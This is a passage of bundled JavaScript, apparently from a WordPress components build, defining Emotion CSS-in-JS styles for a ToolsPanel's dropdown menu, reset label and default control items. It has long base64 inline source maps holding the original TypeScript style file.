gY29uc3QgVG9vbHNQYW5lbEl0ZW1QbGFjZWhvbGRlciA9IGNzc2Bcblx0ZGlzcGxheTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEcm9wZG93bk1lbnUgPSBjc3NgXG5cdG1pbi13aWR0aDogMjAwcHg7XG5gO1xuXG5leHBvcnQgY29uc3QgUmVzZXRMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudERhcmtlcjEwIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiBzcGFjZSggMyApIH0gKSB9XG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuXG5leHBvcnQgY29uc3QgRGVmYXVsdENvbnRyb2xzSXRlbSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXG5cdCYmW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdG9wYWNpdHk6IDE7XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcblx0XHR9XG5cblx0XHQkeyBSZXNldExhYmVsIH0ge1xuXHRcdFx0b3BhY2l0eTogMC4zO1xuXHRcdH1cblx0fVxuYDtcbiJdfQ== */",
48761 toString: _EMOTION_STRINGIFIED_CSS_ERROR__39
48762 };
48763 var DropdownMenu2 = false ? {
48764 name: "16gsvie",
48765 styles: "min-width:200px"
48766 } : {
48767 name: "1lfy0sm-DropdownMenu",
48768 styles: "min-width:200px;label:DropdownMenu;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFtSStCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHtcblx0U3R5bGVkRmllbGQgYXMgQmFzZUNvbnRyb2xGaWVsZCxcblx0U3R5bGVkSGVscCBhcyBCYXNlQ29udHJvbEhlbHAsXG5cdFdyYXBwZXIgYXMgQmFzZUNvbnRyb2xXcmFwcGVyLFxufSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCB0b29sc1BhbmVsR3JpZCA9IHtcblx0Y29sdW1uczogKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAkeyBgcmVwZWF0KCAkeyBjb2x1bW5zIH0sIG1pbm1heCgwLCAxZnIpIClgIH07XG5cdGAsXG5cdHNwYWNpbmc6IGNzc2Bcblx0XHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdFx0cm93LWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHRpdGVtOiB7XG5cdFx0ZnVsbFdpZHRoOiBjc3NgXG5cdFx0XHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRcdGAsXG5cdH0sXG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbCA9ICggY29sdW1uczogbnVtYmVyICkgPT4gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHQkeyB0b29sc1BhbmVsR3JpZC5zcGFjaW5nIH1cblxuXHRib3JkZXItdG9wOiAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSBzb2xpZCAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0bWFyZ2luLXRvcDogLTFweDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuLyoqXG4gKiBJdGVtcyBpbmplY3RlZCBpbnRvIGEgVG9vbHNQYW5lbCB2aWEgYSB2aXJ0dWFsIGJ1YmJsaW5nIHNsb3Qgd2lsbCByZXF1aXJlXG4gKiBhbiBpbm5lciBkb20gZWxlbWVudCB0byBiZSBpbmplY3RlZC4gVGhlIGZvbGxvd2luZyBydWxlIGFsbG93cyBmb3IgdGhlXG4gKiBDU1MgZ3JpZCBkaXNwbGF5IHRvIGJlIHJlLWVzdGFibGlzaGVkLlxuICovXG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsV2l0aElubmVyV3JhcHBlciA9ICggY29sdW1uczogbnVtYmVyICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuY29sdW1ucyggY29sdW1ucyApIH1cblx0XHRcdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGlkZGVuSW5uZXJXcmFwcGVyID0gY3NzYFxuXHQ+IGRpdjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGVyID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdGdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXG5cdC8qKlxuXHQgKiBUaGUgdGFyZ2V0aW5nIG9mIGRyb3Bkb3duIG1lbnUgY29tcG9uZW50IGNsYXNzZXMgaGVyZSBpcyBhIHRlbXBvcmFyeVxuXHQgKiBtZWFzdXJlIG9ubHkuXG5cdCAqXG5cdCAqIFRoZSBmb2xsb3dpbmcgc3R5bGVzIHNob3VsZCBiZSByZXBsYWNlZCBvbmNlIHRoZSBEcm9wZG93bk1lbnUgaGFzIGJlZW5cblx0ICogcmVmYWN0b3JlZCBhbmQgY2FuIGJlIHRhcmdldGVkIHZpYSBjb21wb25lbnQgaW50ZXJwb2xhdGlvbi5cblx0ICovXG5cdC5jb21wb25lbnRzLWRyb3Bkb3duLW1lbnUge1xuXHRcdG1hcmdpbjogJHsgc3BhY2UoIC0xICkgfSAwO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG5cdCYmJiYgLmNvbXBvbmVudHMtZHJvcGRvd24tbWVudV9fdG9nZ2xlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdG1pbi13aWR0aDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEhlYWRpbmcgPSBjc3NgXG5cdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiBub3JtYWw7XG5cblx0LyogUmVxdWlyZWQgdG8gbWVldCBzcGVjaWZpY2l0eSByZXF1aXJlbWVudHMgdG8gZW5zdXJlIHplcm8gbWFyZ2luICovXG5cdCYmIHtcblx0XHRtYXJnaW46IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbSA9IGNzc2Bcblx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXG5cdC8qIENsZWFyIHNwYWNpbmcgaW4gYW5kIGFyb3VuZCBjb250cm9scyBhZGRlZCBhcyBwYW5lbCBpdGVtcy4gKi9cblx0LyogUmVtb3ZlIHdoZW4gdGhleSBjYW4gYmUgYWRkcmVzc2VkIHZpYSBjb250ZXh0IHN5c3RlbS4gKi9cblx0JiA+IGRpdixcblx0JiA+IGZpZWxkc2V0IHtcblx0XHRwYWRkaW5nLWJvdHRvbTogMDtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0fVxuXG5cdC8qIFJlbW92ZSBCYXNlQ29udHJvbCBjb21wb25lbnRzIG1hcmdpbnMgYW5kIGxlYXZlIHNwYWNpbmcgdG8gZ3JpZCBsYXlvdXQgKi9cblx0JiYgJHsgQmFzZUNvbnRyb2xXcmFwcGVyIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cblx0XHQvKipcblx0XHQgKiBUbyBtYWludGFpbiBwcm9wZXIgc3BhY2luZyB3aXRoaW4gYSBiYXNlIGNvbnRyb2wsIHRoZSBmaWVsZCdzIGJvdHRvbVxuXHRcdCAqIG1hcmdpbiBzaG91bGQgb25seSBiZSByZW1vdmVkIHdoZW4gdGhlcmUgaXMgbm8gaGVscCB0ZXh0IGluY2x1ZGVkIGFuZFxuXHRcdCAqIGl0IGlzIHRoZXJlZm9yZSB0aGUgbGFzdC1jaGlsZC5cblx0XHQgKi9cblx0XHQkeyBCYXNlQ29udHJvbEZpZWxkIH06bGFzdC1jaGlsZCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXG5cdCR7IEJhc2VDb250cm9sSGVscCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEl0ZW1QbGFjZWhvbGRlciA9IGNzc2Bcblx0ZGlzcGxheTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEcm9wZG93bk1lbnUgPSBjc3NgXG5cdG1pbi13aWR0aDogMjAwcHg7XG5gO1xuXG5leHBvcnQgY29uc3QgUmVzZXRMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudERhcmtlcjEwIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiBzcGFjZSggMyApIH0gKSB9XG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuXG5leHBvcnQgY29uc3QgRGVmYXVsdENvbnRyb2xzSXRlbSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXG5cdCYmW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdG9wYWNpdHk6IDE7XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcblx0XHR9XG5cblx0XHQkeyBSZXNldExhYmVsIH0ge1xuXHRcdFx0b3BhY2l0eTogMC4zO1xuXHRcdH1cblx0fVxuYDtcbiJdfQ== */",
48769 toString: _EMOTION_STRINGIFIED_CSS_ERROR__39
48770 };
48771 var ResetLabel = /* @__PURE__ */ createStyled("span", false ? {
48772 target: "ews648u0"
48773 } : {
48774 target: "ews648u0",
48775 label: "ResetLabel"
48776 })("color:", COLORS.theme.accentDarker10, ";font-size:11px;font-weight:", config_values_default.fontWeightMedium, ";line-height:1.4;", rtl({
48777 marginLeft: space(3)
48778 }), " text-transform:uppercase;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1SXFDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHtcblx0U3R5bGVkRmllbGQgYXMgQmFzZUNvbnRyb2xGaWVsZCxcblx0U3R5bGVkSGVscCBhcyBCYXNlQ29udHJvbEhlbHAsXG5cdFdyYXBwZXIgYXMgQmFzZUNvbnRyb2xXcmFwcGVyLFxufSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCB0b29sc1BhbmVsR3JpZCA9IHtcblx0Y29sdW1uczogKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAkeyBgcmVwZWF0KCAkeyBjb2x1bW5zIH0sIG1pbm1heCgwLCAxZnIpIClgIH07XG5cdGAsXG5cdHNwYWNpbmc6IGNzc2Bcblx0XHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdFx0cm93LWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHRpdGVtOiB7XG5cdFx0ZnVsbFdpZHRoOiBjc3NgXG5cdFx0XHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRcdGAsXG5cdH0sXG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbCA9ICggY29sdW1uczogbnVtYmVyICkgPT4gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHQkeyB0b29sc1BhbmVsR3JpZC5zcGFjaW5nIH1cblxuXHRib3JkZXItdG9wOiAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSBzb2xpZCAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0bWFyZ2luLXRvcDogLTFweDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuLyoqXG4gKiBJdGVtcyBpbmplY3RlZCBpbnRvIGEgVG9vbHNQYW5lbCB2aWEgYSB2aXJ0dWFsIGJ1YmJsaW5nIHNsb3Qgd2lsbCByZXF1aXJlXG4gKiBhbiBpbm5lciBkb20gZWxlbWVudCB0byBiZSBpbmplY3RlZC4gVGhlIGZvbGxvd2luZyBydWxlIGFsbG93cyBmb3IgdGhlXG4gKiBDU1MgZ3JpZCBkaXNwbGF5IHRvIGJlIHJlLWVzdGFibGlzaGVkLlxuICovXG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsV2l0aElubmVyV3JhcHBlciA9ICggY29sdW1uczogbnVtYmVyICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuY29sdW1ucyggY29sdW1ucyApIH1cblx0XHRcdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGlkZGVuSW5uZXJXcmFwcGVyID0gY3NzYFxuXHQ+IGRpdjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGVyID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdGdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXG5cdC8qKlxuXHQgKiBUaGUgdGFyZ2V0aW5nIG9mIGRyb3Bkb3duIG1lbnUgY29tcG9uZW50IGNsYXNzZXMgaGVyZSBpcyBhIHRlbXBvcmFyeVxuXHQgKiBtZWFzdXJlIG9ubHkuXG5cdCAqXG5cdCAqIFRoZSBmb2xsb3dpbmcgc3R5bGVzIHNob3VsZCBiZSByZXBsYWNlZCBvbmNlIHRoZSBEcm9wZG93bk1lbnUgaGFzIGJlZW5cblx0ICogcmVmYWN0b3JlZCBhbmQgY2FuIGJlIHRhcmdldGVkIHZpYSBjb21wb25lbnQgaW50ZXJwb2xhdGlvbi5cblx0ICovXG5cdC5jb21wb25lbnRzLWRyb3Bkb3duLW1lbnUge1xuXHRcdG1hcmdpbjogJHsgc3BhY2UoIC0xICkgfSAwO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG5cdCYmJiYgLmNvbXBvbmVudHMtZHJvcGRvd24tbWVudV9fdG9nZ2xlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdG1pbi13aWR0aDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEhlYWRpbmcgPSBjc3NgXG5cdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiBub3JtYWw7XG5cblx0LyogUmVxdWlyZWQgdG8gbWVldCBzcGVjaWZpY2l0eSByZXF1aXJlbWVudHMgdG8gZW5zdXJlIHplcm8gbWFyZ2luICovXG5cdCYmIHtcblx0XHRtYXJnaW46IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbSA9IGNzc2Bcblx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXG5cdC8qIENsZWFyIHNwYWNpbmcgaW4gYW5kIGFyb3VuZCBjb250cm9scyBhZGRlZCBhcyBwYW5lbCBpdGVtcy4gKi9cblx0LyogUmVtb3ZlIHdoZW4gdGhleSBjYW4gYmUgYWRkcmVzc2VkIHZpYSBjb250ZXh0IHN5c3RlbS4gKi9cblx0JiA+IGRpdixcblx0JiA+IGZpZWxkc2V0IHtcblx0XHRwYWRkaW5nLWJvdHRvbTogMDtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0fVxuXG5cdC8qIFJlbW92ZSBCYXNlQ29udHJvbCBjb21wb25lbnRzIG1hcmdpbnMgYW5kIGxlYXZlIHNwYWNpbmcgdG8gZ3JpZCBsYXlvdXQgKi9cblx0JiYgJHsgQmFzZUNvbnRyb2xXcmFwcGVyIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cblx0XHQvKipcblx0XHQgKiBUbyBtYWludGFpbiBwcm9wZXIgc3BhY2luZyB3aXRoaW4gYSBiYXNlIGNvbnRyb2wsIHRoZSBmaWVsZCdzIGJvdHRvbVxuXHRcdCAqIG1hcmdpbiBzaG91bGQgb25seSBiZSByZW1vdmVkIHdoZW4gdGhlcmUgaXMgbm8gaGVscCB0ZXh0IGluY2x1ZGVkIGFuZFxuXHRcdCAqIGl0IGlzIHRoZXJlZm9yZSB0aGUgbGFzdC1jaGlsZC5cblx0XHQgKi9cblx0XHQkeyBCYXNlQ29udHJvbEZpZWxkIH06bGFzdC1jaGlsZCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXG5cdCR7IEJhc2VDb250cm9sSGVscCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEl0ZW1QbGFjZWhvbGRlciA9IGNzc2Bcblx0ZGlzcGxheTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEcm9wZG93bk1lbnUgPSBjc3NgXG5cdG1pbi13aWR0aDogMjAwcHg7XG5gO1xuXG5leHBvcnQgY29uc3QgUmVzZXRMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudERhcmtlcjEwIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiBzcGFjZSggMyApIH0gKSB9XG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuXG5leHBvcnQgY29uc3QgRGVmYXVsdENvbnRyb2xzSXRlbSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXG5cdCYmW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdG9wYWNpdHk6IDE7XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcblx0XHR9XG5cblx0XHQkeyBSZXNldExhYmVsIH0ge1xuXHRcdFx0b3BhY2l0eTogMC4zO1xuXHRcdH1cblx0fVxuYDtcbiJdfQ== */"));
48779 var DefaultControlsItem = /* @__PURE__ */ css("color:", COLORS.gray[900], ";&&[aria-disabled='true']{color:", COLORS.gray[700], ";opacity:1;&:hover{color:", COLORS.gray[700], ";}", ResetLabel, "{opacity:0.3;}}" + (false ? "" : ";label:DefaultControlsItem;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnSnNDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHtcblx0U3R5bGVkRmllbGQgYXMgQmFzZUNvbnRyb2xGaWVsZCxcblx0U3R5bGVkSGVscCBhcyBCYXNlQ29udHJvbEhlbHAsXG5cdFdyYXBwZXIgYXMgQmFzZUNvbnRyb2xXcmFwcGVyLFxufSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCB0b29sc1BhbmVsR3JpZCA9IHtcblx0Y29sdW1uczogKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAkeyBgcmVwZWF0KCAkeyBjb2x1bW5zIH0sIG1pbm1heCgwLCAxZnIpIClgIH07XG5cdGAsXG5cdHNwYWNpbmc6IGNzc2Bcblx0XHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdFx0cm93LWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHRpdGVtOiB7XG5cdFx0ZnVsbFdpZHRoOiBjc3NgXG5cdFx0XHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRcdGAsXG5cdH0sXG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbCA9ICggY29sdW1uczogbnVtYmVyICkgPT4gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHQkeyB0b29sc1BhbmVsR3JpZC5zcGFjaW5nIH1cblxuXHRib3JkZXItdG9wOiAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSBzb2xpZCAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0bWFyZ2luLXRvcDogLTFweDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuLyoqXG4gKiBJdGVtcyBpbmplY3RlZCBpbnRvIGEgVG9vbHNQYW5lbCB2aWEgYSB2aXJ0dWFsIGJ1YmJsaW5nIHNsb3Qgd2lsbCByZXF1aXJlXG4gKiBhbiBpbm5lciBkb20gZWxlbWVudCB0byBiZSBpbmplY3RlZC4gVGhlIGZvbGxvd2luZyBydWxlIGFsbG93cyBmb3IgdGhlXG4gKiBDU1MgZ3JpZCBkaXNwbGF5IHRvIGJlIHJlLWVzdGFibGlzaGVkLlxuICovXG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsV2l0aElubmVyV3JhcHBlciA9ICggY29sdW1uczogbnVtYmVyICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuY29sdW1ucyggY29sdW1ucyApIH1cblx0XHRcdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGlkZGVuSW5uZXJXcmFwcGVyID0gY3NzYFxuXHQ+IGRpdjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGVyID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdGdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXG5cdC8qKlxuXHQgKiBUaGUgdGFyZ2V0aW5nIG9mIGRyb3Bkb3duIG1lbnUgY29tcG9uZW50IGNsYXNzZXMgaGVyZSBpcyBhIHRlbXBvcmFyeVxuXHQgKiBtZWFzdXJlIG9ubHkuXG5cdCAqXG5cdCAqIFRoZSBmb2xsb3dpbmcgc3R5bGVzIHNob3VsZCBiZSByZXBsYWNlZCBvbmNlIHRoZSBEcm9wZG93bk1lbnUgaGFzIGJlZW5cblx0ICogcmVmYWN0b3JlZCBhbmQgY2FuIGJlIHRhcmdldGVkIHZpYSBjb21wb25lbnQgaW50ZXJwb2xhdGlvbi5cblx0ICovXG5cdC5jb21wb25lbnRzLWRyb3Bkb3duLW1lbnUge1xuXHRcdG1hcmdpbjogJHsgc3BhY2UoIC0xICkgfSAwO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG5cdCYmJiYgLmNvbXBvbmVudHMtZHJvcGRvd24tbWVudV9fdG9nZ2xlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdG1pbi13aWR0aDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEhlYWRpbmcgPSBjc3NgXG5cdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiBub3JtYWw7XG5cblx0LyogUmVxdWlyZWQgdG8gbWVldCBzcGVjaWZpY2l0eSByZXF1aXJlbWVudHMgdG8gZW5zdXJlIHplcm8gbWFyZ2luICovXG5cdCYmIHtcblx0XHRtYXJnaW46IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbSA9IGNzc2Bcblx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXG5cdC8qIENsZWFyIHNwYWNpbmcgaW4gYW5kIGFyb3VuZCBjb250cm9scyBhZGRlZCBhcyBwYW5lbCBpdGVtcy4gKi9cblx0